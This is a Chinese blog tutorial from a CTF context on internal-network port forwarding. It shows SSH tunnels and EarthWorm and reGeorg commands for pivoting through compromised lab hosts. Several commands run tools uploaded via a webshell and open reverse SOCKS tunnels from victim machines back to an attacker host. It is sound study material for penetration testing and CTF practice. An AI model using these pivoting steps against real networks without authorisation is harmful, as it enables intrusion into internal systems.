2、Web狗要懂的內網埠轉發
這次XNUCA的決賽不會內網滲透吃了很大虧,團隊賽第一天回來後惡補了一下埠轉發,第二天總算是能解決鏈路問題,雖然最後還是被各位師傅吊打了
區分正向代理和反向代理
(自己的理解,可能有誤)
A——B——C
A對C的請求,B作為代理,代替A去訪問C,並將結果返回給A,則B是正向代理
B主動與A的8888埠建立連線,並將A:8888的訪問轉為對C:80的訪問,結果返回給A,則B是反向代理
反向代理的好處:當AB之間有防火牆,不允許A連B,但是允許B連A
開始實驗
A(root@192.168.168.1) (kali,具有完備的攻擊環境)
B(msfadmin@192.168.168.2)
C(msfadmin@192.168.168.3)
前提:知道B的ssh口令(常見於CTF的AWD中的滲透模式)
實驗一,利用ssh隧道,B作為正向代理,做動態埠轉發
在A上執行
ssh -2 -D 2333 msfadmin@192.168.168.2
這條命令是將A本地的2333埠,與B的22埠建立socks連線,執行後需要輸入B的ssh口令
測試,直接在A訪問C的80埠,不過瀏覽器要偵聽127.0.0.1:2333 socks代理
測試,直接在A掃描C的所有埠,不過要呼叫proxychains,偵聽127.0.0.1:2333
實驗二,利用ssh隧道,B作為正向代理,進行單一的埠轉發
A訪問127.0.0.1:1111相當於訪問C:80
A上執行
ssh -L 1111:192.168.168.3:80 msfadmin@192.168.168.2
A訪問127.0.0.1:1111相當於訪問192.168.168.3:80(C),中間需要msfadmin@192.168.168.2(B)來幫忙轉發,需要輸入B的ssh賬號密碼
A訪問127.0.0.1:2222 相當於訪問C:22
A上執行
ssh -L 2222:192.168.168.3:22 msfadmin@192.168.168.2
A訪問127.0.0.1:2222相當於訪問192.168.168.3:22(C),中間需要msfadmin@192.168.168.2(B)來幫忙轉發,需要輸入B的ssh賬號密碼
實驗三 利用ssh隧道,B做反向代理,做單一的埠轉發
A訪問127.0.0.1:8888相當於訪問C:80
先在A(kali)上生成ssh需要的host key
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
在B上執行
ssh -R 8888:192.168.168.3:80 root@192.168.168.1
B主動向A發起ssh連線,需要輸入A的ssh賬號口令
將來自(A)192.168.168.1:8888的請求,轉化為對(C)192.168.168.3:80的請求,然後將結果通過ssh隧道,返回給A
A訪問127.0.0.1:2222相當於訪問C:22
在B上執行
ssh -R 2222:192.168.168.3:22 root@192.168.168.1
實驗四,再多一級D(192.168.168.4),在A上打D
在B上執行兩條命令
ssh -R 8888:127.0.0.1:4444 root@192.168.168.1
B作反向代理,將A:8888與B:4444打通ssh隧道
ssh -2 -D 4444 msfadmin@192.168.168.3
B將本地4444埠與C打通ssh隧道,C作正向代理
現在A就能以127.0.0.1:8888為socks代理,去訪問D了,甚至掃描D
如果你只獲得一個webshell,並沒有ssh口令
強烈推薦 EarthWorm
可以用ew來建立正向代理、反向代理、多級級聯,非常強大
舊版,已夠用 http://rootkiter.com/EarthWorm/
新版,更新中,側重shell管理 http://rootkiter.com/Termite/
利用ew,將B作為正向代理
用菜刀上傳ew.zip到B上,並移動到tmp目錄下
用菜刀的虛擬終端在B上執行
unzip ew.zip
file /sbin/init (檢視linux位數)
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s ssocksd -l 2333 (偵聽0.0.0.0:2333)
netstat -pantu|grep 2333 (檢視是否偵聽成功)
在A上以B為代理,訪問C
利用ew,將B作為反向代理
在A上執行
chmod 777 ./ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
A偵聽0.0.0.0:2333埠,並轉發為0.0.0.0:1080埠
在B上執行
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s rssocks -d 192.168.168.1 -e 2333
B反向連線A:2333埠
此時以A的1080埠為代理,就能直接打C了,實際滲透中,192.168.168.1常是一臺公網伺服器,然後kali再去連線公網的1080埠,但我這裡仍然是在kali下演示
使用完ew,記得殺掉程式,可以ps+kill查殺,也可以粗暴點,直接kill 0
利用ew進行多級代理搭建
B上執行
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
偵聽0.0.0.0:2333,流量轉發到0.0.0.0:1080
C上執行
./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333
C反向連線B:2333埠
這樣A上以B 192.168.168.2:1080為socks代理,可以直接對D進行滲透
可以再加一級
達到以192.168.168.1:1080為socks代理,能對D進行滲透
溝通B和C
B上執行
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
C上執行
./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333
B偵聽0.0.0.0:2333埠,並轉為0.0.0.0:1080埠
C反向連線B的2333埠
溝通A和B
A上執行
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
B上執行
./ew_for_Linux32 -s lcx_slave -d 192.168.168.1 -e 2333 -f 127.0.0.1 -g 1080
A偵聽0.0.0.0:2333埠,並轉為0.0.0.0:1080埠
B反向連線A的2333埠,並把流量轉發到本地的1080埠
reGeorg
https://github.com/sensepost/reGeorg
https://sensepost.com/discover/tools/reGeorg/
reGeorg利用webshell建立一個socks代理進行內網穿透,伺服器必須支援aspx、php、jsp、js等web語言
菜刀連線192.168.168.2的webshell,上傳tunnel.php和tunnel.nosocket.php到web根目錄
在A(kali)上執行
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.php
建立不了連線
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.nosocket.php
成功建立連線
此時會利用192.168.168.2的web服務,與本機的kali的2333埠建立socks連線,現在就能在A上打C了
推薦一波文章
內網滲透隨想 redrain寫的
http://www.anquan.us/static/drops/tips-5234.html
內網滲透中轉發工具總結
http://www.anquan.us/static/drops/tools-15000.html
【T00ls精華文】代理轉發工具彙總分析
https://mp.weixin.qq.com/s/heSvLuJtdPyJfsKJVlZEhw
內網漫遊之SOCKS代理大結局
https://www.anquanke.com/post/id/85494
ssh埠轉發詳解
https://www.cnblogs.com/-chaos/archive/2013/10/19/3378564.html
http://blog.csdn.net/a351945755/article/details/21785647
http://blog.csdn.net/qq_27446553/article/details/51981764
相關文章
- 內網中的埠轉發內網
- 內網埠轉發小技巧內網
- 內網入口——代理搭建&埠轉發內網
- 4、內網埠轉發及穿透(合集)內網穿透
- 內網小組 | 埠轉發 全劇終內網
- 利用nginx的stream模組實現內網埠的轉發代理Nginx內網
- [ssh訪問內網伺服器]使用Natapp來進行內網埠轉發內網伺服器APP
- 5、內網滲透之埠轉發與代理工具總結內網
- vbox配置nat網路的埠轉發
- virtualbox實現區域網內訪問虛擬機器2-network新增埠轉發虛擬機
- Web前端開發技術核心思想,這兩大要點你要懂!Web前端
- 用 IPTABLES 的埠轉發功能實現訪問位於內網的 MySQL 伺服器內網MySql伺服器
- vbox 網路地址轉換(NAT) 埠轉發
- Python Web開發最難懂的WSGI協議,到底包含哪些內容?PythonWeb協議
- 埠轉發方法
- SSH 埠轉發
- SSH埠轉發
- 玩轉SSH埠轉發
- 內網滲透—流量轉發內網
- Web前端容易學嗎?Web前端要學哪些內容?Web前端
- 網站內容綱要網站
- 關於埠轉發
- 內網穿透教程,簡單,便捷,極速穿透內網埠內網穿透
- 你要懂的SMART原則
- pcanywhere要開埠PCA
- .Net Web 開發研習(1) —— Web開發的“十事要說”Web
- ssh埠轉發的深入例項
- ctfshow-菜狗杯-webWeb
- 內網穿透之流量代理轉發內網穿透
- 內網滲透-隧道代理轉發內網
- 參加web前端開發培訓具體要學什麼內容Web前端
- ssh埠轉發(ssh隧道)
- iptables 配置埠及轉發
- Linux IPTABLES埠轉發Linux
- Win10 埠轉發Win10
- 什麼是Web前端?Web前端要學習什麼內容?Web前端
- linuxrinetd、socat埠轉發部署(很實用的網路工具)Linux
- [Tools]內網滲透SMB轉發技巧內網